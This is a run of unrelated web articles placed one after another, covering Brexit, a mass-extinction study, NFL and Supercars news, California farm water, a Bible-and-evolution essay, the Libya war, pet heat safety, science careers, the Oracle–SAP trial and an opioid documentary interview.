Peace and Steem On!
Actually, I do respect it. I respect it for what it was – an advisory vote won by a wafer thin majority based on a mountain of lies.
Then, because I say that, I am criticised (virulently quite often) for being undemocratic and for not respecting the will of the people. And many people who did not vote Leave, and do not want to leave, seem to have accepted the line that the vote has happened and they must “respect” it.
But democracy is so much more than a single vote.
Generally speaking electoral votes stand, even if the majority is unsatisfactory. But that is premised on two conditions. The first is that the voters get a chance regularly to change their minds. The second is that the voters were – at least relatively – well informed about the subject of their vote. All sides make their offers clear, and the media do a proper job of examining their claims.
Neither of these conditions applies to the referendum vote. There will not be a chance to change our minds about this one. Once we leave the EU, we will not be in a position to get back in for a considerable time. And if we do decide that rejoining might be nice, the conditions to rejoin will be the same as a new joiner, including having to join the Euro, which I do not see happening. So effectively, leaving the EU sets Britain’s course for at least a couple of generations. This vote is not sufficient basis for such a momentous and long term decision.
And the voters were seriously misinformed about what leaving meant. I blame both campaigns and the media for this. The Remain campaign was feeble, the most disorganised and ineffective campaign I have seen in British politics. Even Labour’s 1983 election campaign did not plumb the depths of this one. The Leave campaign was based on deliberate and sustained mendacity from start to finish.
The media failed completely to do the job they are required to do in a democracy. We do not have a free press in this country. We have a commercial press, which conforms to the requirements of its overseas owners, not the needs of the British public. Half the press amplified the Leave campaign’s lies; the other half failed to hold them up to scrutiny. In addition to that half the press has spent around the last twenty years softening the public up for this vote with an even longer sustained campaign of lies about the EU (in which Boris Johnson was a prime, and utterly dishonest, mover).
That is why I claim to be completely democratic in regarding this vote as inconclusive and this fight as unfinished (just as Nigel Farage was going to). To do anything differently would be undemocratic.
We all are aware of the environmental problems and the warning consequences of human activities’ for the planet. New research reveals that the situation may be even worse than we imagined.
According to Stanford scientists’ estimate, the rate at which vertebrate species are disappearing is higher than at any time since the demise of the dinosaurs. It’s needless to say that this mass extinction not only threatens the wildlife on our planet, but could become detrimental to the humans as well, who, in fact, are the ones who have provoked all this.
The estimates
A group of biologists led by Dr. Paul Ehrlich from Stanford University analyzed the extinction counts and fossil records for vertebrates and came up with a background extinction rate, or the normal rate between mass extinctions.
Then, the researchers compared it to the current extinction rate and came to a terrifying conclusion – the vertebrate species on Earth are disappearing up to 100 times faster than the normal. It is estimated that the last time when the rate of extinction was that high was when the dinosaurs died out 65 million years ago.
“[The study] shows without any significant doubt that we are now entering the sixth great mass extinction event,” Dr. Ehrlich said in a press release.
What are the consequences?
The researchers estimate that if extinction continues at this rate, about 26% of mammals and 41% of amphibian species will die out.
Such biodiversity loss has detrimental effects on the environment in general. Scientists have long warned about the decreasing population of bees, which pollinate 70% of the food we eat and have a crucial importance for the environment.
What about the consequences for us? According to the study, these processes could affect humans already in three generations.
“If it is allowed to continue, life would take many millions of years to recover, and our species itself would likely disappear early on,” said one of the co-authors of the study, Gerardo Ceballos of the Universidad Autónoma de México.
Humans’ responsibility
Unlike the way the dinosaurs died, this time it’s not going to happen because of an asteroid impact or any kind of natural disaster. The cause of the mass extinction is human activity. The research team found the activities which have the most negative effects on biodiversity:
Land clearing for farming, logging and settlement
Introduction of invasive species
Carbon emissions that drive climate change and ocean acidification
Toxins that alter and poison ecosystems
Moreover, the researchers think that their calculations are likely to underestimate the severity of humanity’s impact on biodiversity and that the real situation is even graver.
“We are sawing off the limb that we are sitting on,” said Ehrlich.
When will humans change the way they treat nature and other living creatures on this planet? It will probably happen only when it is too late; however, Dr. Ehrlich and his colleagues say that there is still a chance to prevent the mass extinction if we take intensified efforts to conserve the endangered species.
Detroit has lost 24 straight games at Lambeau Field.
Since Aaron Rodgers has been a big part of the Packers’ success in recent years, he was asked about the significance of the streak during his conference call with the media on Wednesday.
Article continues below ...
"It’s just kind of fell our way the last 20 times or whatever, but it’s always been very competitive," he said.
The media couldn’t help but chuckle at Rodgers’ theory, which forced the quarterback to offer a mild scolding.
"Come on now," he said. "Keep it together. Keep it professional."
In fairness, Rodgers’ full quote, when asked why the streak doesn’t weigh on the Lions or provide an advantage for the Packers, was:
"That’s a good question. But I don’t really think it does because there are probably some guys on both teams who weren’t born when that streak began. I’ve been a part of a lot of the games. There have been some close ones over the years, some battles. It’s just kind of fell our way the last 20 times or whatever but it’s always been very competitive.”
The streak has a chance to extend to 25 games when the Lions play the Packers this Sunday.
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MIKE CHRISMAN looks out from his SUV as he drives through seemingly endless rows of walnut trees on his property near Visalia, in central California. “I have to be optimistic, I'm so tied to this land,” he says. His great-grandfather, after trying his luck in the Gold Rush, settled in Visalia in the 1850s, and the family has been there ever since. But as California's secretary for natural resources—a job at the intersection of the environmental and farming lobbies, perennially at loggerheads over the state's scarcest resource, water—Mr Chrisman also knows that optimism has become a minority view.
His land is in California's Central Valley, a region that covers 19 counties and stretches for 450 miles (725km) from the Cascade mountains in the north to the Tehachapis in the south, and is bounded in the east by the Sierra Nevada and the west by California's Coast Ranges. Much of it was an inland sea in its geological past, and its alluvial soils and Mediterranean climate make parts of it, particularly the San Joaquin valley in the south, about the most fertile agricultural region in the world.
But this status is at risk because water, the vital ingredient to make the soil productive, is increasingly scarce. Some of the reasons are natural; California has been in one of its periodic droughts since 2006, and climate change is a long-term threat to the state's mountain snowpacks. Others are political; the pumps and aqueducts that carry water from the wetter north to the dry fields in the south are creaking with age, threatening ecosystems and endangering species.
“Water is our biggest issue,” says Bill Phillimore, the manager at Paramount Farms near Bakersfield, the largest grower of pistachios and almonds in the world, and of pomegranates and citrus fruits in America. Water used to be 20% of Paramount's costs, he says, but now accounts for 30%. As a result, many farmers are letting their fields lie fallow or switching from thirsty crops, such as cotton, to those that need less. Paramount's trees, lined up like soldiers on parade as far as the eye can see, are irrigated by tiny “micro-sprinklers” at their base so that water hits only the roots and no drop goes to waste.
Farming will not disappear, but whether it will be as big as it is now is a question, says Mr Phillimore, adding that “If the agriculture goes away, there is nothing.” In the San Joaquin valley agriculture provides almost 20% of the jobs. The alternatives are depressing and scant. For example, many of California's prisons are sited in the Central Valley's wide expanses, in what is sometimes called an “archipelago”.
A big problem is that the workforce in the Central Valley is badly educated, says Carol Whiteside, the founder of the Great Valley Centre, a not-for-profit organisation whose aim is to improve the region. The largest farms are often still owned by the families that arrived a century or so ago—the descendants of Portuguese and Dutch immigrants are big in dairy farms, for example. But most of the whites tend to be “Okies” who arrived from the dust bowl of the Great Plains during the depression, such as the fictional Joad family in John Steinbeck's “The Grapes of Wrath”, who drove up and down in search of work on the stretch of Highway 99 where Paramount Farms now sits.
Economically, socially and educationally, their descendants have barely moved up. Nor have more recent immigrant groups such as the Hmong, Thai and Mien, who came to work in the fields during the 1970s and now live in Central Valley cities such as Stockton, Fresno and Modesto—or, of course, the Mexicans, who have been coming since then and are now the majority of workers in the fields, where Spanish is the common language.
These demographic trends, combined with the water shortage, are causing worry. The Central Valley is already one of the poorest regions of the country. And its population, about 6.7m in 2008, is among the fastest-growing; it is expected to double in the next 40 years, as new immigrants continue to pour in looking for farm work.
This has led to comparisons with Appalachia, which has also relied on a declining extractive industry (coal mining) and has suffered from high unemployment, poverty and a relatively unskilled workforce. A report commissioned by Congress in 2005 argued that the San Joaquin valley is in some respects behind Appalachia's coal country in diversifying its economy.
The references to "hooch" and "coke" elsewhere in the lyrics to the song Hard Act To Follow probably won't be heard by most members of the crowd.
DAD MONDAY: St George Illawarra prop Luke Bailey should have no problem remembering the birthday of his new daughter, Amarli Mai, after being forced to cut short Mad Monday drinks when his partner Rebecca Condello went into labour. "I only had three or four drinks when I got the call," Bailey told the Illawarra Mercury. "Our first stop was Shellharbour pub and we only live just around the corner.
A friend drove Rebecca over and they picked me up on the way to the hospital. I cut the cord. I thought I'd be sickened, I've got a weak stomach. The few beers I had probably relaxed me a bit."
Our best guess is that this is the HTC U11 Plus, which entered the rumor mill a few days ago when a press invite for an HTC event on November 2 was leaked.
The score recorded by the unnamed HTC smartphone falls within expectations for a Snapdragon 835 device and is around the same as that of the U11.
What stands out the most is the 4GB of RAM - the HTC U11 comes with 4GB as standard with a 6GB model being sold in certain markets like the US. Perhaps the Plus will similarly have two different versions when it comes to RAM.
Why is there such tension between evangelicals and evolution?
The real problem isn’t evolution. There is a deeper problem: evangelicals tend to expect from the Bible what it was never intended to deliver.
Too often evangelicals start out the evolution discussion assuming that the Bible is prepared to address human origins as we think of it today—in historical and scientific terms.
When that unexamined assumption is the default, unimpeachable starting point in the discussion, conflict between “faith and science” is guaranteed. This puts people in the lose-lose position of feeling the need to compare and contrast the Bible and science and make a choice between them.
So, maybe we need to think more about how the Bible works and whether we are creating a problem by beginning with false assumptions.
Those false assumptions begin when we forget that the Bible is ancient literature that speaks from an ancient point of view. An awareness of the Bible’s ancient cultural influences–even a minimal awareness–helps alert us to the kinds of questions the Bible is prepared to answer. Science is not among them.
But too many expect the Bible to give the final word on all sorts of things–as if it were an owner’s manual or some sort of reference work that speaks to any and every issue. Thinking this way creates problems–like the kind we often see when evangelicals talk about evolution.
Supposedly, it is unworthy of God to speak through ancient stories of origins that are neither historical nor scientific. God is the God of Truth. He would never stoop so low.
Uh…actually…yes he would. God is all about stooping low–way low. That’s how God rolls—at least the Christian God.
Remember the message of Christmas: God became man and walked among us, what theologians call the incarnation. Here is how the Apostle Paul describes it. Even though Christ,
was in the form of God, [he] did not regard equality with God something to be exploited, but emptied himself, taking the form of a slave, being born in human likeness. And being found in human form, he humbled himself and became obedient to the point of death—even death on a cross (Philippians 2:6-8)
Jesus was lowly, humble, slave-like—willingly emptied of his “equality with God.”
If we can say that about Jesus, surely we can say that about the Bible. Like Christ, the Bible takes the form of a lowly slave—simple, humble, so very human-like.
Don’t take my word for it. A Dutch theologian, Herman Bavinck (1854–1921), had a great way of putting it. Here is a longish quote, written in turn-of-the-century dead white male talk, but hang with it.
Christ became flesh, a servant, without form or comeliness, the most despised of human beings; he descended to the nethermost parts of the earth and became obedient even to death on the cross. So also the word [the Bible], the revelation of God, entered the world of creatureliness, the life and history of humanity, in all the human forms of dream and vision, of investigation and reflection, right down into that which is humanly weak and despised and ignoble. . . . All this took place in order that the excellency of the power . . . of Scripture may be God’s and not ours.
It’s worth the effort to track with Bavinck here. He is saying that the Bible, like Jesus, is a paradox. The reason why both Jesus and Scripture look the way they do—so human, so ordinary, so much a part of their world—is to draw attention to God’s glory and power.
Let me put it another way: The Bible reflects the ancient cultures in which it was written, and this very fact proclaims the glory of God.
This may not make much sense at first. The evangelical tendency is not to talk up the Bible as “weak and despised and ignoble” as Bavinck does. The tendency is to talk up the Bible as perfect, inerrant, infallible–from God’s mouth to our ears. And anything that makes the Bible look lowly, etc., is hushed up so that the power of God can shine through.
Wrong.
The exact opposite is true. Jesus claimed that if you want to know God, you have to go through him. We can only see God truly through the human form he has chosen to use. This is true whether we are talking about a first century working-class Jewish carpenter or literature written in ancient Hebrew and Greek. Both are “weak and despised and ignoble,” as Bavinck puts it, and for that reason are worthy of revealing God’s power and glory.
The power and glory of God revealed through what is despised and humble.
This is mystery. This is paradox. Welcome to Christianity 101.
Let’s bring this back to evolution. When we read Genesis 1 or Genesis 2-3, we should expect it to give off this humble, lowly, servant vibe. We should not become worked up, offended, or frazzled because these stories clearly and undeniably look so very similar to the stories of other ancient cultures and have nothing to do with history or science as we think of those ideas today.
The kinds of stories we have in the Bible are precisely what we should expect–if we keep in mind how God rolls.
Divorcing the creation stories of the Bible from their ancient settings and forcing them to speak to contemporary scientific discussion over evolution isn’t just wrong or stubborn or misguided…
It is sub-Christian.
Why? Because it minimizes the very thing that makes the Christian God what he is: an incarnating God, a “walk among us” God.
Calling upon the biblical creation stories to settle the evolution question does not show respect for Scripture. It actually sells Scripture short by selling God short.
Libyan forces have pulled back from their siege of Misrata to let tribal leaders in the area attempt to negotiate a political resolution, according to the Libyan government.
In an acknowledgement that loyalist troops had failed to take control of the city after two months of the siege, the deputy foreign minister, Khaled Kaim, said: "The tactic of the army was to have a surgical strike but, with the [Nato] air strikes, that doesn't work."
He said tribal leaders had set a 48-hour deadline – due to expire on Monday night – to strike a deal with the rebels, who hold the port area of Misrata and have made gains in the centre of the city in recent days.
If the talks failed, the tribal leaders would launch a military assault on the rebel strongholds, Kaim said. He warned that could be "very bloody".
Tribal leaders have not confirmed any intervention, and rebel leaders in Misrata are sceptical about the government's statements. Kaim said the tribes were "trying to get in contact with the rebels".
Gaddafi's forces have faced setbacks both in Misrata and the western mountain region, close to the Tunisian border.
The government's assertion that tribal leaders are ready to intervene politically and militarily may be an attempt to pressure rebels after the killing and capture of rebel troops, and to deflect attention from rebel gains.
"The armed forces have ceased operations [in Misrata]," Kaim said in Tripoli. "The leaders of the tribes decided to do something to bring normal life back [to the city].
"Their main demand is that foreign fighters leave the town or surrender themselves to the army."
The regime maintains that rebel fighting in Misrata and the east of the country is being driven by al-Qaida and Hezbollah militants – a claim rejected by the opposition.
Kaim said the tribal leaders wanted to reopen access to the port, which has been under the control of rebel forces since the siege began. The port served all Libyans, he said, but was of particular interest to tribes in the region south of Misrata.
"The leaders of the tribes are determined to find a solution to this problem within 48 hours," he added. "The other option is military intervention."
He claimed the six tribes in the region could muster a force of 60,000 men to "liberate" the city. Any assault by the tribal forces would be ruthless, he claimed.
"The tribal leaders are pushing to intervene militarily," he said. "We have to do our utmost to stop this. If the tribes move into the city, it will be very bloody and I hope to God we will avoid this."
Despite the Libyan government's claim to have suspended military operations, residents and journalists in Misrata reported continued shelling on Saturday. Twenty-four people were killed and about 75 wounded, according to doctors.
US Predator drones have begun flying sorties over Libya and hit a government rocket launcher in Misrata on Saturday.
Last week, Nato air strikes took out three command and control centres around the city of Sirte, between Tripoli and Misrata, which is thought to have affected government military communications.
Kaim said the deployment of Predator drones would result in more civilian deaths. "When President Obama was elected, I was one of those who celebrated in the hope of a more peaceful world, he said. "But now I'm losing faith with him."
He said 18 warships from Nato countries were blockading the port of Tripoli, in violation of UN security council resolution 1973, which authorised military action to protect civilians.
We Americans love our cars, but they can be very dangerous, even deadly, if we leave our pets locked inside. Unfortunately, hundreds of pets die each year as a result of this. Busy people think that their furry family members will only be left unattended for a few minutes and that cracking the window will provide sufficient air flow. It doesn’t take much for a quick trip to the grocery store to take longer than expected because we run into someone we know and want to catch up, the store is busier than usual, or heaven-forbid — they’re giving away samples of Klondike bars — and we have to make one more pass for another taste. Others mistakenly believe that if it doesn’t feel that hot outside, their animal will be safe. Think about this — if you accompany someone else to the store but decide to stay in the vehicle, you’re not going to sit inside, with the air conditioning turned off. It gets stifling in a very short period of time. Now, imagine you’re covered in fur and lack apposable thumbs. You’re trapped and there’s nothing you can do but suffer.
After one hour, the temperature inside your car can eclipse the outside by 40 degrees. The longer the vehicles sits, the higher the inside temperature climbs.
Sixteen states have passed laws either making it illegal to leave an animal in a vehicle when it may endanger their life, or allowing good Samaritans to take action to free the animal from the hot car (i.e., smashing the car window.) If you believe that there is time, call 911. Law enforcement will respond and extract the animal from the vehicle.
Unless you’re taking Fluffy to the vet or Rover to the dog park, or some other animal-friendly venue, it’s good practice to leave them at home where you can control the climate and know that they’ll be safe. Of course they’ll miss you and you’ll miss them, but missing them for a couple of hours is worth it to save the life of the one that provides you with unconditional love.
If you do take your pet for a ride, please ensure that they travel safely. The captain has not turned off the seat belt sign, so it is NOT safe to roam around the cabin. Small animals may attempt to hide and end up wedged under the seat or worse impede the driver’s ability to stop or accelerate. Just as it isn’t safe for your child to ride on your lap, it’s just as dangerous for animals. Riding in the back of the pickup should also be avoided. To protect their safety, harness and fasten your pet inside the vehicle or transport them in a carrier which can be secured with the seat belt. Some areas of the country require that pets be properly restrained so that they do not interfere with or distract the driver. Others will impose fines if unrestrained pets are injured during travel.
While second place at the Clipsal 500 was a strong result on debut for the team, McLaughlin was left to rue a late brake lock-up that let Shane van Gisbergen through for the win.
The mistake came at the end of a weekend where McLaughlin struggled for braking confidence – an issue he is determined to solve before the championship resumes at Symmons Plains.
“For me this weekend is about focusing on braking and improving my confidence in the car,” McLaughlin told Supercars.com ahead of Albert Park.
“I had problems with inside front locking all weekend in Adelaide and I probably ended up going back too far with the brake bias to combat that.
“What everyone saw towards the end of that last race on the Sunday was just me getting used to what the car does and getting everything predictable.
“It’s very similar (to the Volvo) through the corner and if anything, it’s got better drive, but braking for me at the moment I’m struggling with confidence that it’s going to be there.
“Whether I need to create more engine braking or whatever to help slow the car, that’s what myself and Ludo will be working on.
“It’s a good track for it because there are a lot of big stops and you hold the brake for a long time into the corners.”
In addition to the layout, McLaughlin says the qualifying format that is expected to see just one flying lap set the grid for each race will also provide a good test for his confidence.
McLaughlin was twice out-qualified by team-mate Fabian Coulthard in Adelaide – the first time he has been swept by a team-mate in his four-year Supercars career.
The former Garry Rogers Motorsport driver points out, however, that he was ahead in regular qualifying on Friday and only 0.02s adrift in the Sunday morning session.
“I was fast when I could put a couple of sets of tyres on in qualifying, but the gap appeared when we needed the confidence in the car for the Shootouts,” he said.
“I don’t want to change how I drive the car too much, I just want to find a balance that suits me.
“It’s about getting the confidence and knowing that the grip is there when you need it.”
McLaughlin says second-year Penske driver Coulthard has helped him integrate into the team, but braking is one area that will only come with time in the car.
“Fabs is helping me with a lot of things, but braking is something that’s very particular to each driver,” he said of Coulthard, who is one of just two left-foot brakers in the field.
McLaughlin and Coulthard both have strong records at Albert Park, with the latter finding the podium there last year for DJR Team Penske.
Both will be out to score Penske’s first win in Supercars, while McLaughlin could also earn the rare distinction of winning at the same track in three different marques.
Shola Ameobi has been announced as a patron of the Magpies' official charity, Newcastle United Foundation.
And the former United striker's first official duty for the Foundation was presenting the inaugural Alder Sweeney Award to blind coach Paul Matheson at half-time of Saturday's Premier League fixture with Arsenal.
The Alder Sweeney Award has been introduced in memory of John Alder and Liam Sweeney - Magpies supporters who lost their lives in the MH17 disaster while en route to the Club's pre-season games in New Zealand last summer.
The award recognises a person or organisation that has contributed to grassroots football in the North-East, making a real difference to the experience of those involved in it.
Earlier this year Paul Matheson, aged 51, became the first qualified Assistant FA Coach in the UK with no sight, thanks to support from Newcastle United Foundation and Henshaws Society for Blind People.
Paul lost his sight as the result of optic nerve damage, caused by Glaucoma, and has been registered severely sight impaired for ten years. The Magpies fan was introduced to Newcastle United Foundation's visually impaired training programme in 2013, where coaches encouraged him to work towards the qualification.
Paul now coaches adult and junior blind football for the Foundation and is an inspiration to many who find themselves in similar circumstances. He also recently achieved a lifelong ambition to coach on the pitch at St. James' Park as part of the Foundation showcase at the Club's annual Open Day.
On becoming a patron of Newcastle United Foundation, Ameobi said: "I am so proud to have been asked to become a patron of the Foundation.
"The work they do in the community is fantastic and I really want to help raise awareness of how they help improve the lives of so many people in the region.
"It's an absolute honour to present the first Alder Sweeney Award to Paul. What he has achieved is amazing and the award is hugely deserved. It is fitting that this award is named after two Newcastle fans whose legacy will live on, celebrating grassroots football."
TOKYO: Singapore is at a turning point as it develops beyond the pioneer generation of Singaporeans who built it, said Prime Minister Lee Hsien Loong on Tuesday (Sep 27).
Speaking at reception attended by about 400 Singaporeans living in Japan, Mr Lee said that at 50 years, Singapore is neither old nor young. In fact, it is a “a very difficult time for a country, because you’re going beyond the people who remembered the start, and going into a new generation (of people) who are not quite sure where the future is going to be”.
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About 400 Singaporeans living in Japan turned up at the reception, where PM Lee Hsien Loong was the guest-of-honour. (Photo: Linette Lim)
Mr Lee added that for the next fifty years and beyond, Singaporeans will have to create the future for themselves – choosing the direction, the approach, and the values which will make the nation succeed in the new world.
“And it’s a dangerous world. But this little red dot has made it for 50 years, and now the young little red dotters will have to make it for many more than another 50 years,” said the Prime Minister.
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“Being connected to the world – Japan and China and America and Europe – being confident of ourselves, knowing what we can do and determine to do, and being able to work together – I think if we can keep these values, we can keep this success,” said Mr Lee.
JAPAN AN “IMPORTANT FRIEND” TO SINGAPORE
The Prime Minister, who is in Tokyo for a four-day official visit coinciding with the 50th anniversary of diplomatic relations between the two countries, also named Japan as an “important friend” of the Republic.
PM @leehsienloong and wife arriving at the reception for Singaporeans in Japan https://t.co/rL8l5xETCy pic.twitter.com/tzaoIwBuhg — Channel NewsAsia (@ChannelNewsAsia) September 27, 2016
Mr Lee spoke on how Japanese investments “made a big difference” to Singapore’s economy in the early years, and how there are 35,000 Japanese in Singapore, including one of the biggest overseas Japanese schools in the world.
“I think we must have one of the largest number of Japanese restaurants per person, in Singapore,” he quipped.
Touching on the bilateral relations between the two countries, Mr Lee said that this is a good relationship Singapore would like to cultivate and build further, because Japan has “a lot to contribute to the region”.
“We have a free trade agreement with them, it's called JSEPA – Japan-Singapore Economic Partnership Agreement – we hope we can improve that, take it further steps forward… So the long and short of it is, we have a very good relationship at the country-to-country level, and we’re also very happy that individual Singaporeans and Japanese are able to work together with one another,” he added.
In turn, Mr Lee said he hopes that the Singaporeans living in Japan can bring home some of the good values and habits and customs of the Japanese.
“They are very disciplined, they queue up very neatly, they don’t litter the streets, they work very hard, and they work together cohesively as one,” he said, to laughter and applause among the crowd.
BY MARTIN ROSENBERG
Table 1: Private sector jobs other than research • Preclinical analysis
• Safety assessment
• Regulatory affairs
• Clinical science
• Contract research organization management
• Project management
• Program management
• Alliance management
• Business development
• Technology transfer
• Venture funding
• Marketing
• Operations/manufacturing
• Sales
• Science and patent law
• Information sciences
The growth and biomedical promise of molecular technologies in the later part of the 20th century resulted in significant expansion of science infrastructure in government, academia and industry. More recently, fiscal pressures have reduced the availability of new independent research jobs in all sectors. Despite the fact that nonbench science jobs in the private sector remain a strong, viable option for new grads, our training systems remain focused on producing independent research scientists and do little to prepare students for science careers away from the bench. Here, I’ll recount how we got into this dilemma and the obstacles to effecting real change that remain.
First, a period of expansion
National Institutes of Health funding doubled between 1998 and 2004. State governments also invested to grow their science capabilities based on potential economic returns. Between 1970 and 2000, we saw the creation and growth of the biopharmaceutical industry. The established pharmaceutical companies and other science-based industries also expanded their research to capture and exploit these promising technologies. Many new job options for trainees (and faculty) were created. As the science infrastructure expanded, so did the trainee programs needed to supply the labor force doing the work. More trainees were produced than academic or government centers could absorb as permanent faculty members. Trainees and faculty members alike moved into the industrial sector void, thereby relieving the supply and demand issues around science job opportunities.
Then, a period of stagnation
More recent trends have dramatically altered the dynamics. A number of factors have been at play, but certainly the major contributor has been the economy. NIH funding has been essentially flat for the past eight years. State economies have been stressed such that growth of state-funded science opportunities has slowed significantly. Productivity in pharma has been on the decline for a decade, and consolidation in this industry continues.
The response to these economic woes in academia and the government has been to curb new faculty growth. Though the faculty ranks are aging, its members remain reluctant to retire and move on. Due to their power, savvy and experience, older faculty continue to compete for and utilize major resources that perhaps should be used to support new investigators. This stagnation, in part, has led to the extension of the training period. Ph.D. training is now generally six to eight years instead of four, and the norm has become two postdoctoral experiences of three to four years each prior to securing a first permanent job. This is a predictable result when job opportunities become scarcer while the need for the trainee work force remains.
Radical response from private sector, but hope remains
In the past few years, tens of thousands of science-based jobs have been eliminated from industry, especially at the large pharmaceutical companies. Biotech investments have been reduced and shifted away from research-stage initiatives to focus on nearer-term product development. Pharma companies also have altered their strategic focus in response to internal cost constraints and productivity issues. They have shifted large portions of resources into a variety of outsourcing models, thereby creating new opportunities for scientists in new business models.
There remain a number of employment bright spots in the private sector. Pharma outsourcing has led to the creation of new contract research organizations, partnerships with academic centers, government-sponsored consortia and various nonprofit public-private alliances in the hope that these approaches will provide the much-needed cost controls and innovation engine to create new drugs. Importantly, this strategic shift by pharma provides alternative funding sources for academia, has stimulated job growth in various support functions and aligns well with the NIH translational research focus promoting academic drug discovery. In addition, the medical devices and diagnostics industries continue to flourish, fueled by the economic pressure on health care and the promise of personalized medicine. Other science-based industries, including tool and reagent providers, food and environmental monitoring, nonprofit organizations, forensics, biofuels, science journalism, and even nutraceuticals and cosmetics also offer employment opportunities.
Roadblocks to repositioning training programs
What may well be underappreciated is that the majority of the science jobs in the private sector are not bench-research based. Rather, most of the jobs available (Table 1) have little to do with the focus of our entire academic training system. There is a huge disconnect between how we currently train scientists and the actual employment opportunities available for them.
Several factors impede the ability to recognize and adapt to the trainees’ needs. The academic mentoring system lacks information and knowledge about private-sector science vocations. Faculty members teach what they know, and the result is that basically they produce clones of themselves – teachers and research professors. The faculty members have little experience with industry and, in particular, with most of the job categories shown in Table 1. The science-education system would have to seek expertise proactively from the private sector to convey these employment opportunities to their trainees. There appears to be a reluctance to do so.
Then there is the perception that positions other than independent research or teaching faculty are lesser choices. A recent description of career paths provided by a research professor exemplifies the problem. The implication was that students could follow an honorable career in academia or an alternative career in the private sector. Sadly, this arrogance and Ivory Tower attitude not only impede educational transition but, more importantly, lead many faculty members to avoid the issue by ignoring its existence.
Systemic change is needed
Perhaps the greatest hurdle to effecting change and better preparing trainees for positions that do exist is the nature of the highly competitive research-funding system itself. The research infrastructure requires trainees to carry out its basic functions: experimentation and publication. Trainees are the major labor force used by established faculty, and thus training is focused on driving independent bench research for faculty to achieve their funding, status and advancement. It matters not what future employment opportunities look like for the trainees; the training is intimately linked to the survival of the funding infrastructure that advances basic science knowledge.
This is the reality of our current system, but we must find ways of broadening our trainees’ experiences to prepare them to compete and perform at science-based jobs away from the bench. There is no doubt that bench experience is a necessary part of training, but it no longer suffices to prepare students for today’s job opportunities.
Larry Ellison, the co-founder and CEO of software company Oracle Corp, has waited 2-1/2 years to bring archrival SAP AG to court on allegations that SAP stole Oracle’s software and resold the technology at bargain-basement prices.
The court proceedings got under way in U.S. District Court in Oakland, California, on Monday, with one of Oracle’s highest-ranking executives in attendance. Safra Catz, Oracle’s president who rarely appears in public, sat quietly in the gallery as jury selection began.
SAP Co-Chief Executive Bill McDermott has said he will be in court on Tuesday.
An SAP lawyer, Bob Mittelstaedt, expressed concerns in court because some potential jurors indicated on a questionnaire that they might not be able to be fair to a German company.
An Oracle attorney, Geoffrey Howard, voiced concern after some potential jurors disclosed negative views about Ellison, one of the highest-paid U.S. corporate executives.
Oracle has attacked Hewlett-Packard Co for naming SAP’s former chief executive, Leo Apotheker, as its own CEO in late September. Ellison charges that Apotheker played a key role in the case. SAP, Europe’s biggest software maker, and HP have moved quickly to defend Apotheker.
HP, the world’s biggest technology company by revenue, and Oracle, the biggest independent maker of business software, were close partners until three months ago.
They became fast enemies following a series of executive shuffles that began in early August: HP fired its CEO, Mark Hurd, who is a close friend of Ellison. Hurd was accused of falsifying expense reports to hide a relationship with a female contractor.
Oracle then hired Hurd as its president. HP responded by hiring Apotheker as its chief executive, which prompted a verbal firestorm from Ellison.
While the high-tech industry is one where personal rivalries and friendships play a significant role in shaping corporate warfare, it is rare for alliances to shift so quickly and dramatically.
“It has gotten very, very personal. And it’s not going to stop,” said Howard Anderson, a lecturer at MIT’s Sloan School of Management.
THE CASE
SAP has chosen not to contest liability in the case and has admitted to wrongdoing for improperly downloading files from an Oracle customer-service website.
That means the jury case will be limited to determining the scope of damages. SAP has said in a court filing that it believes the damages should total in the “tens of millions of dollars.”
Oracle has said SAP should pay more than $2 billion in damages and has hired David Boies, one of the top trial attorneys in the United States, to make that case to the jury.
While the two sides will spend the next four to six weeks arguing over money, several analysts said that the size of the award may not have a huge impact on either company, regardless of the outcome, since SAP and Oracle each generate billions of dollars a year in revenue.
“Let’s not confuse this with real money. It doesn’t matter whether it’s $250 million or a $1 billion,” Anderson said.
SAP has already taken a $160 million provision for the case and would likely take a writedown for whatever damages it ultimately ends up paying.
Kim Caughey Forrest, an analyst with Fort Pitt Capital, said that the outcome of the trial would not influence her assessment of the value of either Oracle or SAP shares.
The trial will be remembered more for Oracle humiliating its rivals than whatever damages are awarded, she said.
“The drama of it all ... It’s so Silicon Valley,” Caughey Forrest said.
The biggest celebrity witness at the trial will likely be Ellison himself, the brash billionaire playboy known outside the business world for racing sailboats and cars.
CRIMINAL PROBE
The U.S. government is conducting a criminal investigation into the matter and will likely be monitoring the trial closely. That could make some executives less keen on testifying in the civil trial, said Eric Goldman, associate professor at Santa Clara University School of Law.
SAP disclosed the criminal probe in July 2007. The government has not disclosed any details on the investigation.
Company spokesman Bill Wohl said that SAP had been cooperating with Department of Justice investigators. He said he was not sure whether government officials had questioned any SAP executives.
One potential witness of high interest is Apotheker, who was due to start his new job with HP on Monday.
HP has declined to say whether Apotheker will testify. The company has said it believes Oracle is calling him only to harass him and interfere with his new duties.
A spokeswoman for HP declined to say whether Apotheker would be working in the Silicon Valley area during the course of the trial. That would put him within the court’s jurisdiction and allow Oracle to call him as a witness.
Oracle has said it may also call former SAP CEO Henning Kagermann, current SAP co-CEO McDermott and Oracle’s Catz.
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Fire Chief Jan Rader is the first responder who carries not only the film, but also the weight of the crisis in her community as she works to save as many people as possible and get addicts into long-term recovery. Judge Patricia Keller is part mother-hen, part school principal, doling out encouragement and discipline with equal compassion. Necia Freeman, a volunteer with a local church group, drives around at night providing food, shelter and help to those teetering on the edge.
Opioid overdoses are now the leading cause of death for Americans under 50, having killed 64,000 Americans in 2016, a 17 percent increase from the previous year. President Trump had promised to designate the crisis a “national emergency,” which would have prompted more federal dollars to help. Instead, he recently declared it a “public health emergency,” to the consternation of his critics.
I spoke with filmmaker Elaine McMillon Sheldon, who co-produced "Heroin(e)" with the Center for Investigative Reporting, and Chief Jan Rader about the growing epidemic, treatment options and making the film.
Titi Yu: Chief Rader, what did you think about the president’s announcement and how do you think it will affect your work as a first responder?
Jan Rader: Well, I guess we will see. In my mind it’s a good first step and I hope it’s backed up with more to come. Certainly opening up telemedicine in the rural communities is a help, because we do have a lack of providers. Bringing in [federal grant funds to target those with opioid addictions, part of Trump’s declaration] is going to help that, but it’s going to take further steps to deal with this epidemic.
TY: From your perspective, what does that look like? Is it more money?
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JR: It’s such a complex issue. We’ll just take probably anything. But in our area, the No. 1 issue is that we have a bottleneck at detox. In Cabell County, with a population of 96,000 people, we only have eight detox beds. That’s important, because people have to go into detox before they go into recovery.
